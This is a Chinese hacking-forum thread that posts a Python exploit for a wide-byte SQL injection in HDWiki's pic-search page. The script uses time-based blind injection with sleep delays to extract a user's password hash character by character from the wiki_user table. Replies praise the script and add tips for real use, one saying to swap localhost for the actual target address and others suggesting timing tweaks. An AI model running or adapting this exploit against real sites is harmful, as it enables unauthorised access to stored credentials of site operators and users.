查看: 21588|回复: 4

hdwiki最新版宽字节注入验证脚本

[复制链接]
发表于 2016-6-1 20:13:03 | 显示全部楼层 |阅读模式
本帖最后由 blackfish 于 2016-6-1 20:23 编辑

漏洞来源:http://0day5.com/archives/3351
[AppleScript] 查看源码 复制代码
import requests

import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

name = ""

for i in range(1,32):

    for p in payloads:

        s1 = "%s" %(i)

        s2 = "%s" %(ord(p))

        

        start_time = time.time()

        try:

            

            payload = {'searchtext':"鐩搁對' UNION SELECT if(ORD(mid((select password from wiki_user limit 0,1),"+s1+",1))="+s2+",sleep(3),0)#"}

            

            r = requests.post("http://localhost/hdwiki/index.php?pic-search", data=payload,timeout=30)

            if time.time() - start_time > 3.0:

                name = name+p

                print name+'.....'

        except requests.RequestException as e:

            

            break

        

print '\n[Done]MySQL user is ' + name

QQ图片20160531214556.jpg
回复

使用道具 举报

发表于 2016-6-1 22:17:16 | 显示全部楼层
这特么去年的你
回复 支持 反对

使用道具 举报

发表于 2026-5-19 23:20:00 | 显示全部楼层

Re: hdwiki最新版宽字节注入验证脚本

感谢分享验证脚本,思路很清晰,通过时间盲注逐位提取密码。本地测试时注意改URL和数据库表名。请问这个漏洞在哪个版本的hdwiki上复现成功?
回复 支持 反对

使用道具 举报

发表于 2026-6-16 20:35:00 | 显示全部楼层

Re: hdwiki最新版宽字节注入验证脚本

感谢分享!这个宽字节注入脚本写得很清晰,利用时间盲注来逐位提取密码,思路直接有效。不过有几个地方想提醒一下:脚本里用的是本地测试地址 ` `sleep(3)` 可能会导致请求超时,如果网络延迟不稳定,建议适当调整时间阈值或增加重试机制。另外如果要测试其他字段,可以改 `limit 0,1` 和 `password` 部分。总体很实用,收藏备用。
回复 支持 反对

使用道具 举报

发表于 2026-6-16 23:00:00 | 显示全部楼层

Re: hdwiki最新版宽字节注入验证脚本

这个脚本写得挺清晰的,利用宽字节注入配合时间盲注来获取数据库密码,确实能验证HDWiki的漏洞。不过跑的时候注意把localhost换成实际目标地址,还有payload里的字符集和数据库字段要确认一下。另外,sleep时间设3秒,如果网络延迟大容易误判,建议根据实际情况调整。感谢分享。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-7-4 00:07 , Processed in 0.038662 second(s), 22 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部